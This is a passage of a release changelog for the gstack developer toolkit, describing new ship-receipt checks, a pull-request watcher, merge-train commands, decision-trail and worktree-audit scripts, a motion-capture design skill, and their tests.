Docs audit record and doc caps (lib/ship-receipt-docs.ts, gstack-ship-receipt write --docs <json|@file>, gstack-ship-receipt docs-caps [--base <ref>] [--policy <file>], policy key docs.caps: [{ path, max_bytes }]): Step 14.5's outcome (updated | current | blocked, with the owner's exception: { accepted_by, date, via, reason }) is part of the receipt; blocked without an exception, or a --body that lacks the exception line word for word, refuses with DOCS_AUDIT_BLOCKED; a declared doc over its byte cap (or absent) prints DOCS_CAP: <path> <bytes>/<max> over and blocks before the verification gate; the caps come from origin/<base>'s policy, never the branch's copy, so a PR cannot raise its own cap, and an unreadable base policy refuses with POLICY_SOURCE_UNAVAILABLE (--policy <file> is for a repository bootstrapping its policy). The docs key needs min_gstack_version (DOCS_CAPS_KEY_VERSION, the release that stamps this entry).

docs/unattended.md#ship-evidence: what an unattended /ship leaves for a parent: the READY evidence through gstack-ship-receipt result, the review_loop counters, the cross-family Capy subagent as the Step 11 outside voice with its review-log row, and the CARRY: lines.

Paid case ship-frozen-scope-convergence (behavior, gate; test/helpers/ship-frozen-scope-actor.ts, test/skill-e2e-ship-frozen-scope.test.ts): the native actor runs the generated Step 9.4 and its repeat decision under review_scope: frozen against a fixture with one CRITICAL in the diff and one in untouched code; the contract is the in-diff fix committed, the pre-existing file byte-identical and deferred, pass 2 on the range only, exit through decision 4 and REVIEW_LOOP: passes=2 blocking_found=2 deferred=1 fixed=1. First panel 3/3 at $0.66.

gstack-ship-receipt read --check-prose (lib/ship-receipt-prose.ts): every counter the PR body quotes (passes=2, 1 deferred, passed: 41) is compared with the receipt's review_loop, gate and ci integers; a disagreement is RECEIPT_PROSE_MISMATCH (exit 1) with a PROSE: line naming each field and both values.

review/checklist.md rules with ids: prereg-with-results (Pass 1, Gate Integrity, ASK: a preregistration and its results in one diff) and test-keyboard-count-loop (Pass 2: a browser test that reaches an element by a counted loop of key presses).

bin/gstack-coauthor-trailers: the Co-authored-by trailers a ported range owes (distinct authors other than the checkout's committer, first-appearance order; --message <file> adds the missing ones to the file's trailer block through git interpret-trailers with pinned placement, idempotently, so an existing co-author keeps attribution; a --base or range starting with - is a usage refusal and a slash-named default branch resolves through origin/), for porting a contributor's PR with their authorship kept (review-policy.md#porting-a-contributors-work).

Result codes DOCS_AUDIT_BLOCKED, RECEIPT_GIT_TOO_OLD, RECEIPT_PROSE_MISMATCH (lib/result-codes-release.ts, docs/troubleshooting.md).

Changed

gstack-ship-receipt carry: needs git 2.39 or later for git patch-id --verbatim and refuses older gits with RECEIPT_GIT_TOO_OLD naming the installed version; a product patch-id git cannot compute at either head refuses with git's own first stderr line instead of comparing an empty id; the per-path walk covers only the paths the branch itself touched and names at most CARRY_NAMED_PATHS (20).

gstack-review-scope defer: gh repo view receives the repository positionally (the visibility read works under --repo); the marker search reads one page of 200 open issues, and an exactly-full page prints DEFERRED_SEARCH: truncated at 200 open issues and records filed; the marker search was truncated at 200, so an older issue may duplicate it.

Step 11 late defers (lib/review-scope.ts LATE_DEFER_SKILL, ship/sections/review-army.md item 3.5): a queued adversarial finding scoped defer after the last Step 9 pass is logged under its own skill, review-late-defer; the receipt's summary counts its deferred findings, never counts it as a pass, and the dashboards that pick the newest review row never see it (a tokenless review row would read UNVERIFIED). render shows a filed issue's reason when it is not the plain "already filed".

ship/sections/review-army.md Step 9.4 reordered: 0. Scope the findings → 1. Apply the cap before any edit, then classify → 2. Auto-fix; scratch files live under .gstack/tmp/ (review-findings-p$PASS.json, review-classified-p$PASS.json, review-deferred.json). The pass-2+ range paragraph says the outside backends receive RANGE_BASE..HEAD, and every specialist and Red Team prompt scripts/resolvers/review-army.ts renders for /ship carries its diff base as a literal sha the parent writes in (DIFF_BASE=<diff-base>: the merge base on pass 1, RANGE_BASE from pass 2 on), because a reviewer is its own process and a shell variable left in the prompt would silently re-read the whole branch.

Reviewer fan-out (--review-fanout auto|serial|parallel, /ship only; docs/review-policy.md#reviewer-fan-out): when the host reports fewer free subagent slots than selected specialists, auto runs them in batches of the free-slot count and prints Fan-out: N specialists in M batches of K; /review keeps one parallel batch because of its size pin.

ship/sections/documentation.md runs the shared .gstack/tmp exclude line and clears .gstack/tmp/docs-audit.json on first entry (the record is never an untracked file, whichever step reaches .gstack/tmp first), runs gstack-ship-receipt docs-caps --base <base> under "Continue or recover" before the verification gate and writes .gstack/tmp/docs-audit.json; ship/sections/pr-body.md names the verbatim exception line in the Documentation section and the receipt write adds --docs @.gstack/tmp/docs-audit.json. An unattended run has no owner to accept a blocked audit and stops there.

Policy key versions (lib/ship-policy.ts): REVIEW_SCOPE_KEY_VERSION is 1.91.256.0, the release that first read review_scope (its earlier value 1.91.249.0 admitted a gstack that fails on the unknown key), so a policy that set review_scope with min_gstack_version between 1.91.249.0 and 1.91.255.0 must raise it to 1.91.256.0; DOCS_CAPS_KEY_VERSION names the release that stamps this entry, and test/gstack-ship-policy.test.ts holds every unreleased key newer than the CHANGELOG headings the checkout can see.

gstack-ship-receipt write records version: "none" only when the repository has no version source at all; a VERSION that exists but holds no parsable version, a pin that escapes the repository or an unreadable base policy keeps the no-version refusal. checkReceiptProse matches a shared leaf key (pass under every gate lane) against any of its counters and never inside a longer word (3 pass-through).

Tests

test/gstack-ship-receipt-docs.test.ts (new): the docs record, exception line and doc caps, version: "none" for a version-less repo, the git floor, the named patch-id refusal and the branch-touched walk. test/review-scope-followups.test.ts (new): late-defer counting, the 200-issue truncation record, gh repo view positional, the two checklist rule ids. test/ship-workflow-clarity.test.ts: Step 9.4 order, scratch-file names, the late-defer row, DIFF_BASE with RANGE_BASE in /ship prompts only. test/ship-frozen-scope-actor.test.ts (new): a scripted actor passes the frozen-scope verdict with the real binaries, and the undeclared interactions, an unfixed diff defect and a one-pass exit are named failures. test/ship-receipt-prose.test.ts and test/gstack-coauthor-trailers.test.ts (new).

Registries: ship-frozen-scope-convergence in E2E_TOUCHFILES, E2E_TIERS (gate), E2E_KINDS (behavior) with its BEHAVIOR_WHY, the SDK host list, and lib/ship-receipt-docs.ts in the exercised-map reviewed superset and the module-size ratchet; test/ship-skip-selection.test.ts now expects both native ship fixtures from test/helpers/scratch-repo.ts.

Gate integrity

PR 2: the ship parity maxSizeRatio in test/helpers/carve-guards.ts moves 1.7150 → 1.7400 (measured 326,437 / 187,706 = 1.7391) for the Step 9.4 scope and late-defer prose, the docs-caps step and the version-less branch; the skeleton cap is unchanged. New case kind: ship-frozen-scope-convergence is behavior (3 trials, pass at 2) because the live model's wording of the fix and the review rows varies while the scope contract is asserted; no existing threshold, timeout, trial count or kind changed.

[1.91.269.0] - 2026-10-27

An autoplan gate now arrives with its price, and the approvals record lands where the whole crew can read it. Captains reported the same two frictions: review rounds and reviewer subagents had no credit figure at the gate, and the approvals mirror sat in a private project-user folder no sibling thread could read. The Eng phase also gains the performance-budget question, after a correctness pass doubled a consumer's p95 with no bench step to catch it. (The standing "take the recommendations" answer planned beside these, answer --owner-standing rec, was cut from this release after review: a keyword grammar over the owner's words could still read a refusal as a grant, so it returns with a structured grant in its own change.)

Added

GATE_SPEND: and GATE_REC_COST: (lib/autoplan-gate-cost.ts; printed by every gate-producing gstack-autoplan command under GATE:, by run when it stops at a gate, and as gate_cost in the --json payloads): the run's ledger at the gate (spent, worst case, cap, headroom, attempts; host-subagent attempts are priced unknown and counted at their reservation, with a pointer to the host's own cost view instead of an invented figure) and the price of rec as an upper bound from the answer and revise rules (a plan change counts every phase revise can keep or add, since it reopens each phase whose snapshot the edit changes and re-detects scope, so a run that skipped Design or DX without --no-ui/--no-dx counts them too; a round grant counts its phase and Eng; the effective choice per item is parseReply's (an answer already recorded at this gate revision, else the carried choice, else the recommendation), a recorded plan rerun p1d prices every phase, a reject or stop nothing, and an override of the recommendation counts as answer counts it; two voices each with the outside voice on, at the per-voice reservation the run has been making; a reopen past the cap says so). gstack-owner-brief render carries the same figures as one Cost so far: sentence under its Summary, and render --captain carries them as a ### Cost section above the relaying-agent trailer, so the person approving sees it.

The Captain-named approvals directory (lib/approval-record.ts captainApprovalsDir): on Capy the mirror is GSTACK_APPROVALS_DIR when set, else the approvals/ directory in the one mounted Captain drive (~/.capy/drive/captain-*/approvals/<slug>/<branch key>.jsonl, readable by every crew thread), else the private project-user folder as before; two Captain drives with one each is ambiguous and falls through. The other roots are still read (read_also), so a row mirrored under the earlier rule stays visible to list and render; gstack-approvals path prints which rule chose the mirror and the READ_ALSO: roots.

Changed

Eng phase, Section 4 (Performance) (autoplan/sections/eng-phase.md.tmpl): a hot path with no performance budget or bench step is a finding, and the consensus table's row 3 asks "Perf risks + budget/bench named?". Five nearby phrases were shortened by the same number of characters, so every host's generated autoplan SKILL.md stays at its size-guard pin (raising a pin is an owner decision).

autoplan/DRIVER.md, docs/capy-install.md, docs/unattended.md, docs/recommended-harness.md, capy/skill/gstack/captain.md, docs/troubleshooting.md: the loop relays the two cost lines with every gate render; the Captain sections name the crew-readable mirror and the READ_ALSO: roots; the brief descriptions carry the ### Cost section; the APPROVAL_RECORD_UNAVAILABLE fix names the three mirror sources. capy/skill/gstack/SKILL.md is untouched here (it is #3475's file) and points at autoplan/DRIVER.md already.

Tests

test/autoplan-gate-cost.test.ts (new): recReopens as the upper bound (plan change counts every phase revise can keep or add, a round grant its phase plus Eng, carried items only when changed, overrides, p1d/p1c/p1e), priorChoices, and the two cost lines from a ledger with an unknown host attempt (cap, no cap, over the cap, no ledger); the mirror chain (project-user, one Captain drive, two, GSTACK_APPROVALS_DIR, mirror off) and gstack-approvals path with READ_ALSO:; end-to-end runs through bin/gstack-autoplan: the closing submit prints GATE_SPEND:/GATE_REC_COST: (text) or gate_cost (--json), the owner brief carries the Cost so far: sentence, render --captain a ### Cost section above its trailer, and run at a pending gate prints the gate lines once (one --json payload).

Gate integrity

No threshold, rubric, trial count, case kind or judge prompt changed. The only prompt edit is the Eng phase's performance paragraph; the one paid autoplan case (autoplan-dual-voice) reads Phase 1, which is untouched.

[1.91.268.0] - 2026-10-27

Two read-and-write helpers absorbed from pstack: a decision trail a reviewer reads without the transcript, and a worktree audit that tells you which Conductor worktrees are safe to remove. Both are ports of Lauren Tan's MIT scripts (header credit in each file, licenses/MIT-pstack.txt, NOTICE.md), approved with the rest of the pstack absorb (Garry, 2026-10-26: "Do it, send").

Added

bin/gstack-decision-trail <file> <phase> <decision> <why> <evidence> <result>: appends one UTC-stamped row to a run's TSV decision trail, writing the header once and only ever appending; cells are flattened to one line and a cell that starts with =, +, - or @ gets a leading quote so evidence lifted from a PR title or a filename cannot run as a formula in a reviewer's spreadsheet. start <file> <run-id> appends a run's start row (naming the earlier rows and run:<id>; the id is letters, digits and . _ : @ / -, so a tab or quote in it is a usage error rather than a row that breaks the idempotence check) and is a no-op while that row is the newest start row, so a rerun writes nothing twice; only a leading -h/--help is help, so a cell whose text is -h is appended as data; a trail without a final newline, with CRLF rows, a UTF-8 BOM, a repeated header line or no header at all is appended to correctly; --run <id> on an append refuses with DECISION_TRAIL_START_REQUIRED (exit 3) until the run has opened its stretch. The end-of-run rule, in docs/unattended.md ("The decision trail") and autoplan/DRIVER.md: audit the trail against the transcript and correct the log, not the story (a wrong row is superseded, never edited), then a reviewer on another model family reads it and the report ends with an Attention section (reviewed by <model>, the flags, or No flags).

bin/gstack-worktree-audit [-b <ref>] [--no-fetch] [repo] (bash, read-only): one TSV row per git worktree beside the main one, largest first: size, age, merged into the base, clean/wip:<n>/scratch:<n>, pushed/ahead<n>/no-remote/detached, the PR on its branch through gh's own --jq (no jq needed), the newest Claude Code chat that ran in the worktree (${CLAUDE_CONFIG_DIR:-~/.claude}/projects/<slug>) and a bucket: prunable (registered, directory gone), hold-wip, hold-open-pr, verify-recent-chat, safe, review. safe means nothing exists only in that worktree: a clean tree that is merged into the base or whose PR is closed or merged with every commit pushed; an unpushed commit or an untracked file on a merged branch reads review. A fork's PR on a same-named branch is ignored and an open PR wins over an older closed one on a reused name. A locked entry whose directory is gone and a broken worktree whose own .git link is missing (git would otherwise describe the containing repository and hide its files) read review; a clean tree names its gitignored entries as clean,ignored:<n> without changing the bucket; a branch name shared with a tag still resolves; worktree paths with leading, trailing or inner spaces are read whole. It never deletes or prunes; its one write is a best-effort fetch of the base ref that --no-fetch skips. /landing-report offers it when the sibling table shows stale worktrees; docs/CONTRIBUTOR_REFERENCE.md has the guide for Conductor users, docs/standalone-binaries.md lists both bins.

Tests

test/decision-trail.test.ts: header once (an empty file gets one, a second append does not), the formula guard on every leading byte it covers, flattened tabs and line breaks, the start row's text and its idempotent rerun, a second run's start row, the --run refusal and admission, a -h cell appended as data, a missing final newline, CRLF rows and a repeated header, a blank file and a BOM, run ids with whitespace or quotes refused, usage errors.

test/worktree-audit.test.ts: a bare origin, a clone and twelve worktrees (merged, wip with an open PR, scratch with a chat today, stale, closed PR, a merged one whose path has a space, a merged one with only an untracked file, a registered one whose directory is gone, a locked one whose directory is gone, a broken one inside the clone with a precious file, one whose branch shares its name with a tag, one with only a gitignored .env) classified into every bucket (also under status.showUntrackedFiles=no, which must not hide untracked files) through a fake gh (which records its arguments and runs the audit's own --jq over canned JSON with a fork PR when jq is installed) and a CLAUDE_CONFIG_DIR transcript directory; the fixture, its worktree registry included, is byte-identical after the audit; -b, --no-fetch, an unpushed commit on a closed PR reading review and an open PR on the reused name winning, no gh on PATH (git resolved from git --exec-path, so a distribution's wrapper script does not matter), a failing gh, a missing base and a non-repo path.

Gate integrity

No threshold, timeout, trial count or case kind changed. No pinned skill changed; landing-report/SKILL.md grows by one line and is unpinned. test/autoplan-driver.test.ts's line cap on autoplan/DRIVER.md moves 160 → 162 (measured 162) for the decision-trail paragraph at the end of the coordinator contract section; the file was at the cap before.

[1.91.267.0] - 2026-10-27

The Captain guide says which questions never need to reach a person. Follow-up to #3493 (pstack absorb item 4, GSTA-124).

Changed

capy/skill/gstack/captain.md section 1: a new bullet after "Always a fresh ask": a question a command, render or measurement can settle is settled by the thread, which runs the thing and reports the result; only a product or preference call goes up, with the observation already made; a Captain that receives an observable question sends it back with the check that answers it. The Drive copy of captain.md needs the owner's recopy (or a Capy re-sync) to pick this up.

[1.91.266.0] - 2026-10-27

Added

bin/gstack-pr-wait, lib/pr-wait.ts, lib/pr-wait-github.ts: an event-driven pull-request watcher (design ported from tstack's pr-wait, MIT, Theo Browne; NOTICE.md, licenses/MIT-tstack.txt). gstack-pr-wait <pr> [--repo owner/name] [--until green|ready|any-change] [--interval SECONDS] [--timeout MINUTES] prints one stdout line per real event, prefixed #<pr>, and progress on stderr: a check failed (name and link), all checks finished on the head, a comment, review, thread or reply from someone other than the PR author or the gh user, a review bot finished on the head or a gating bot's summary changed, the base branch moved and its new commits touch this PR's files, merge state BEHIND or DIRTY, merged or closed. green gates on every check on the head, as gstack-ci-gate does, so Step 2 and Step 3 of /land-and-deploy never disagree; a check the base branch requires (rulesets and classic branch protection) is pending until it appears, never green by omission, and two identical polls confirm the check set. ready is green plus a gating bot's review of the head (green alone when no gating bot is configured), no unresolved thread, and a known merge state (GitHub's UNKNOWN right after a push holds it); a gating bot's failed check is a failed check, never a review. A bot owns the logins that start with its name (greptile-apps[bot], not notgreptile) and the checks that mention it. --timeout (default 60 minutes, 0 for none) ends a watch that met nothing as blocked, naming the still-pending checks; at /land-and-deploy Step 3 that is a STOP showing the line, and the user decides whether to start again with a larger --timeout or --timeout 0. Exit 0 when the condition is met or the PR merged, 1 when it needs action (PR_WAIT_BLOCKED), 2 on bad input, an unreadable PR, a second watcher for the same PR or a local error (PR_WAIT_REFUSED; a lock whose pid is dead is taken over), so exit 1 always carries a PR_WAIT_BLOCKED line. The loop is synchronous and installs no signal handlers, so Ctrl-C and kill stop it at once. State lives under <state root>/pr-wait/ (lib/state-root.ts chain), and a baseline older than 6 hours is discarded. Transient gh failures (5xx, 429, network, gh's own 60 s spawn timeout) retry with backoff; ten failed polls in a row end the watch as blocked. BEHIND and DIRTY are announced once per head (keyed on the head alone, so a base that keeps moving does not repeat them), with the short head in the line. A verdict whose state file cannot be written keeps its exit code; the save error goes to stderr.

gstack-config keys pr_wait_gating_bots (default greptile,macroscope) and pr_wait_advisory_bots (default coderabbit): which review bots --until ready waits for and which it only reports; comma-separated names matched against bot logins and check names, none empties a list, anything else is rejected with the value kept.

Result codes PR_WAIT_BLOCKED and PR_WAIT_REFUSED (lib/result-codes-release.ts) with their troubleshooting anchors; a gstack-pr-wait row in docs/standalone-binaries.md.

Changed

/land-and-deploy Step 3: the 4-minute gstack-ci-gate --wait 240 polling rounds with a 15-minute cap and a wait-more/exclude/stop question are replaced by one gstack-pr-wait "$PR_NUMBER" --repo "$REPO" --until green call; exit 0 reruns Step 2's gate on the pinned head, exit 1 stops with the watcher's lines (a red required=n check stays the one case Step 3.5 may approve), exit 2 shows the refusal. The Important Rules line about polling intervals names the watcher. The old 15-minute cap becomes the watcher's --timeout default of 60 minutes; the wait-more question is gone, a timeout stops Step 3 with the pending checks named. The generated skill is the same size on every pinned host, so no pin moved.

Tests

test/pr-wait.test.ts (new): the fake-gh scripts for the baseline poll, the six-hour staleness and the restart carry, author/gh-user/bot/edit filtering, merged and closed, a required check pending by omission, a failed required check on the baseline poll, an unknown bucket as failed, two identical polls before green, ready with a gating bot and an advisory bot, unresolved threads and BEHIND blocking ready, the base-overlap event and its silent negative, BEHIND once per head and DIRTY, the configured bot lists and none, the per-PR lock (live holder refused, dead holder taken over, released on exit), argument parsing, transient retry and the 403 on classic protection, and the bin's shebang; from the /ship review pass: every check gating green (a pending or red non-required check), a failed gating-bot check, prefix-matched bot logins, ready with no gating bot and while the merge state is UNKNOWN, --timeout, the ten-failure and non-transient run() endings, a gh spawn timeout retried, a local fault as exit 2, control characters in check names, gstack-config rejecting malformed bot lists and its defaults matching the lib constants, a real SIGTERM against the bin, and the fourteen state-matrix cells the state-machines specialist listed (ready × fail, any-change × pass/pending/fail, BEHIND and DIRTY × any-change, DIRTY × ready, UNKNOWN × green/ready/any-change, the free and dead-pid unlocks, a restarted watcher on a failed required check and on merged). test/land-and-deploy-ci-gate.test.ts asserts Step 3 is one watcher call with the three exit outcomes and no polling prose.

Gate integrity

No threshold, timeout, trial count or case kind changed. test/fixtures/module-size-ratchet.json registers lib/pr-wait.ts and lib/pr-wait-github.ts under the existing 800-line cap. test/fixtures/skill-md-size-allowlist.json is unchanged: the land-and-deploy render is byte-for-byte the pinned size on every host.

[1.91.265.0] - 2026-10-27

Four more principles, and three places gstack stops asking what it could observe (pstack absorb, lane C3, GSTA-124). Ideas from Lauren Tan's pstack (MIT), written in gstack's words; NOTICE.md and the ETHOS.md credit line say so.

Added

ETHOS.md principles 5 to 8: Attack the Premise (two fixes that share a premise and fail the same gate indict the premise; write it down and falsify it before a third fix), Separate Before Serializing Shared State (a lock is a smell to check; remove the race before refereeing it), Make Operations Idempotent (design for the run that happens twice; ask what happens if the previous run died at every point), Explain the Number (a measurement carries what was measured, the limiter it moved and the run-to-run variation; a gap inside the variation is no difference). "How They Work Together" gains one line each and a Credits section names the source.

/eval-plan Step 1c, candidate-side blinding: three preregistration rules (no eval word anywhere the candidate can read; project-shaped fixture roots; the judge sees A/B labels and grades chain-following from the files the transcript shows the candidate opened). prereg --check does not read fixture trees, and the step says so. docs/TESTING_INTERNALS.md#candidate-side-blinding states the same rules for gstack's own fixtures, lists the fixture directory names on the word list and the candidate-visible temporary roots it found (arm-<fixture>-<arm>-* from test/helpers/arm-benchmark-harness.ts, skill-e2e-benchmark-* from test/skill-e2e-deploy.test.ts, the skill-e2e-<id>-* roots of test/skill-e2e-test-value.test.ts whose ids carry test, gstack-health-eval-* from test/skill-e2e-health.test.ts; the list is a scan of mkdtemp prefixes in e2e tests, not a proof of completeness); no fixture is renamed here.

Observable questions are not the user's to answer: a rule in /plan-tune's Important Rules and a section in docs/proactive.md. A question a local, read-only, free command, render or measurement can settle is settled that way and reported (a call that changes state, reaches a live or third-party system or spends money stays a question); only product and preference calls reach the user, with the observation already made. The question-log audit treats an observable question as a defect in the asking skill rather than a preference to tune.

Changed

AGENTS.md validation discipline step 4: one sentence on measured deltas: name the limiter that moved and the run-to-run variation; a gap smaller than that variation is no difference. agents-digest/gstack-AGENTS.md is generated from scripts/gen-agents-digest.ts and VERSION, not from AGENTS.md, so the regenerated digest is unchanged.

Gate integrity

No threshold, trial count, case kind or judge prompt changed. Prose-only change: plan-tune and eval-plan are unpinned skills; sizes measured in the PR body.

[1.91.264.0] - 2026-10-27

/design-motion turns an approved design into a showcase loop for X and the website; adapted from Elaya's design-to-motion (GSTA-92 plan item 15, Garry 2026-10-25 "Do it"). gstack could design a screen and build it, but not show it moving: a screen recording drops frames, jumps at the loop seam, and nothing tells you a card drifted out of its container. /design-motion rebuilds the exact frame from a /design-shotgun PNG, a /design-html finalized.html or a URL (a Figma link when FIGMA_TOKEN is set), loads it from an empty state, gives each visual one story, records frames on a fake clock, and exports only after the loop is proven seamless.

Added

/design-motion (new skill; sections fidelity, motion, and figma read only with a Figma token, which reaches curl on stdin so it never appears in a process list). Showcase context: every visual gets a story, the cycle ends in a dissolve and an empty beat. Website context: gstack's rules win, so one authored motion moment per page, content complete without script and under reduced motion, an IntersectionObserver start, and no pulse, marquee or caret left running.

bin/gstack-motion-capture.ts (lib/motion-capture.ts): Playwright with its fake clock and gstack's own Chromium (GSTACK_CHROMIUM_PATH honoured). Steps are whole milliseconds averaging 1000/60, so the seam frame is exactly one cycle after the window start. The page contract is window.__start(), window.__tick(dt) and window.__lt, with 15 PRE frames before the start. Writes frames/, still.png, an optional container mask.png and capture.json.

bin/gstack-motion-encode (lib/motion-encode.ts): check prints MOTION_CHECK: lines for seam, empty beat, rest and overflow (ffmpeg PSNR, identical means inf), writes a contact sheet, and ends MOTION_RESULT: clean or <n> failed. export writes <name>-x.mp4 (H.264, CRF 15, 60 fps), <name>-loop.gif (960 px, 20 fps) and <name>-800x500.gif with Elaya's recipes. compare gives the still-fidelity PSNR. ffmpeg is optional: without it the bin prints FFMPEG_MISSING with install commands and exits 3.

Both bins refuse bad input before any work: gstack-motion-encode exits 2 on an unknown option or --formats token, a --pad that is not a 6- or 8-digit hex colour, a --crop that is not w:h:x:y (compare included, so nothing but a colour or a crop reaches ffmpeg's filter graph) and a capture whose frames are missing. check prints a MOTION_SETTINGS: line naming any threshold or phase override, so a relaxed run never looks like a strict one, a capture without a mask ends MOTION_RESULT: clean (overflow not checked), and the contact sheet no longer needs ffmpeg 5.1's -fps_mode. gstack-motion-capture.ts refuses a --cycle that is not a multiple of 0.05 s (three 60 fps frames; only then does the seam land exactly one cycle later for every PRE) and an --out that holds a still or frames but not its .gstack-motion-capture marker, so a rerun after a failed capture works and a foreign directory is never cleared. check and export refuse a capture.json whose fields are not what the capture writes (they reach ffmpeg arguments and paths), and a cards overflow check with no story frames is an error instead of a pass. When an app frame's own surfaces cover more than 90% of the frame (full bleed), overflow is reported as skipped and the run ends clean (overflow not checked); the same coverage in a cards layout, or reached only through --mask-grow, fails overflow instead of passing by blacking out everything; a --mask that matches no element stops the capture with MOTION_MASK_EMPTY; --mask-grow is a whole number from 0 to 32, and --mask refuses anything but a selector. Offscreen loading="lazy" images no longer hang a render, font or image loading is bounded at 30 s, and a frame whose __tick never returns fails after 10 s with MOTION_CAPTURE_FAILED. A CSS transition a story starts with a class toggle is seeked from the frame it appears rather than from the last __mark, so it eases in the export instead of popping. An empty numeric option (--min-db '') is refused instead of read as 0, and the Figma section only fills a file key and node id that look like Figma's. Exports write to a .partial- file and rename on success, so a failed re-export never truncates the last good file; a --gif-fps or --small-fps above 50 or not dividing the cycle is refused instead of drifting; compare resolves its paths; a GSTACK_FFMPEG that names a missing file says so. A URL source is treated as untrusted data. A capture now clears the previous run's manifest and stills along with its frames, scales a portrait frame to 1200×1920, renders stills with CSS animations finished, and tolerates a page that takes longer than 10 s to load.

Tests

test/motion-capture.test.ts, test/motion-encode.test.ts: step and clock math (the seam frame lands exactly one cycle later for every PRE and cycle tried), argument errors, the exact export recipes, check frame selection for both layouts, PSNR parsing and verdicts (fewer compared frames than planned fails), and the FFMPEG_MISSING path, all without a browser, ffmpeg or network.

test/motion-pipeline.test.ts: a 0.5 s fixture loop goes through capture, check, export and compare on real Chromium and ffmpeg, a page that does not loop and a page without the capture contract fail with their named reasons, and the same non-looping capture checks clean under --min-db 0 only with that override printed. The same --out is refused while it holds foreign files, accepts the retry after a refused page, and reports clean (overflow not checked) without a mask; a page with an offscreen lazy image renders its still at --scale 2; a full-frame mask fails a cards check and is not checked for an app frame, and an empty mask stops the capture before any frame; a spinning __tick fails after 10 s; a class-toggled story transition is mid-fade at its midpoint frame; a blank --min-db is refused; a failed re-export keeps the last good GIF and a drifting --gif-fps is refused. It skips itself when Chromium, ffmpeg or ffprobe is missing. The motion unit tests add the new refusals and a portrait scale.

New paid case design-motion-showcase (test/skill-e2e-design.test.ts): a finalized page goes through rebuild, capture, checks and export, and the agent must read the fidelity and motion sections and run check before export. The design-motion carve guard points at it. It runs in the marathon tier as a 3-trial behavior panel, because the periodic census is at its 38-slice cap and three 3-6 minute trials would add two slices; it needs ffmpeg and Chromium on the runner. Its section-read and ordering checks accept a full cat of a section and capture, check and export in one Bash call (a free replay of the first panel's three captures passes; a grep of a section, no check, and export before check still fail).

[1.91.263.0] - 2026-10-27

Merge trains read their screens from the run, follow themselves without a daemon, and refuse what would have cost a gate. Operating trains on 2026-10-26 showed the gaps: two screens were VERDICT RED while their lanes reported green and the heads were READY'd anyway; 18 of 41 PR screens concluded success with no slice; a PR whose merge ref lagged main could not be screened at all (#3465); two trains whose PRs merged elsewhere sat in merging/green forever; a background gh run watch chain died with every machine restart; a PR's new tests passed on its branch and failed once stacked behind another PR; and the four-step hand procedure for a conflicting PR's CI was typed by hand each time.

Added

lib/ship-queue-screen.ts: a dispatched screen's verdict is read from the run's own artifacts (gate-binding-a<attempt>: verdict, reconcile exit, flaky cases; report-verdict-a<attempt>/paid-report/collector-outcomes.json: the panels that failed the lane and the rule-16 flaky lines; a confirmed verdict reuse in paid-plan/gate-reuse.json), never from a lane's prose. ready --screen, verify --pr <n> --screen and train build print SCREEN_VERDICT: #<n> run <id> GREEN|RED|NOT-RUN|INCOMPLETE [red=…] [flaky=…] plus one FLAKY: line per flaky case, and record the verdict in the READY receipt (screen.verdict, locally and in refs/notes/gstack-trains).

QUEUE_SCREEN_RED: a RED screen refuses ready under --screen and --no-screen alike, is never re-dispatched at the same merge SHA, and train build refuses to seat the pin. QUEUE_SCREEN_NOT_RUN: a screen run that concluded success with no slice (its route job found the head superseded by a push, or the plan selected nothing) is NOT-RUN: verify --screen refuses, the receipt records NOT_RUN, ready --screen dispatches afresh instead of following it, and train build seats the pin unscreened with a SCREEN: … counted as not-run line.

Scratch-merge screens (#3465): when GitHub's refs/pull/<n>/merge lags the PR head, is missing or cannot be fetched, ready --screen plans the screen on a scratch merge of the head onto the base, pushed as screen/<pr>-<head12> (SCREEN_MERGE: names it); only a real conflict with the base (or a remote whose refs cannot be listed) is QUEUE_SCREEN_STALE_REF, whose text now says so, and a base that cannot be fetched is POLICY_SOURCE_UNAVAILABLE.

train watch --train <nonce> [--timeout <s>] (lib/ship-queue-train-watch.ts): the one resumable follow command. It reads the record, runs the step its state asks for (train build --train to push, run the free tests and dispatch the gate; train status to settle an unconfirmed dispatch), waits for the pending run by polling gh, reads the verdict and prints the last step's NEXT:. No process state: rerun it after an interruption and it continues from the record; it never dispatches anything the record would not dispatch on its own.

train prune --stale: a merging or green train whose every PR is MERGED or CLOSED on GitHub is marked stale (a new terminal state), its branch deleted, each PR's state logged on a STALE: line; a train with an OPEN PR is kept and says why. The same run deletes every screen/<pr>-* scratch branch whose PR is MERGED or CLOSED. train forget --train <nonce> | --receipt <pr>@<sha> [--dry-run] (lib/ship-queue-train-forget.ts) removes one settled train (attempts included) or one READY receipt from local state and from the notes ref with an exact --force-with-lease on refs/notes/gstack-trains; a train still building, running or merging is refused, and a rejected lease removes nothing.

verify --post-merge <sha> [--timeout <s>] (lib/ship-queue-post-merge.ts): after a merge, waits for every check run and commit status attached to the merged commit (its full 40-hex SHA) to settle, prints one CHECK: <name> <conclusion> per check and POST_MERGE: <sha12> green|red|pending|none (passed= failed= pending= skipped=); green needs a completed check and no failure, neutral/skipped count as skipped, a pending commit status keeps it pending, a failed check or status is QUEUE_POST_MERGE_RED, a timeout is QUEUE_TRAIN_PENDING with the same command as NEXT:.

ready … --dispatch-ci <wf.yml[,…]> [--timeout <s>] (lib/ship-queue-dispatch-ci.ts): for a PR that conflicts with the base and so has no pull_request CI, dispatches each named workflow on the branch (skipped when a run at this head already concluded), waits for the runs (CI_DISPATCH: lines), clears every requires-remote pregate lane whose workflow is one of them with the run URL (PREGATE_CLEARED:), then reads the head as usual. A red run clears no lane and refuses; a fork head is QUEUE_TRAIN_UNTRUSTED. This replaces the four-step hand procedure in docs/ship-policy.md.

train build --dry-run --stack-tests [--stack-tests-command "<cmd>"] (lib/ship-queue-stack-tests.ts): runs each PR's new test files on the integrated prefix that includes it (T) in a scratch worktree and prints STACK_TESTS: #<pr> T<k> <n> new test file(s) pass|FAIL (<files>) or no new test files; a failure is QUEUE_TRAIN_STACK_RED with nothing written, pushed or dispatched.

Changed

lib/ship-queue-train-github.ts: downloadJson finds a named file anywhere in a multi-path artifact (report-verdict-a1 keeps its paid-report/ directory). lib/ship-queue.ts: ciAtHead is exported and returns the per-check list it already read. scripts/lib/windows-curation.ts: test/ship-queue-train-ops.test.ts is excluded from the Windows subset like the other gh-shim drivers.

docs/ship-policy.md's merge-train section documents every command above; docs/troubleshooting.md gains QUEUE_SCREEN_RED, QUEUE_SCREEN_NOT_RUN, QUEUE_TRAIN_STACK_RED and QUEUE_POST_MERGE_RED, and QUEUE_SCREEN_STALE_REF now means a real conflict only.

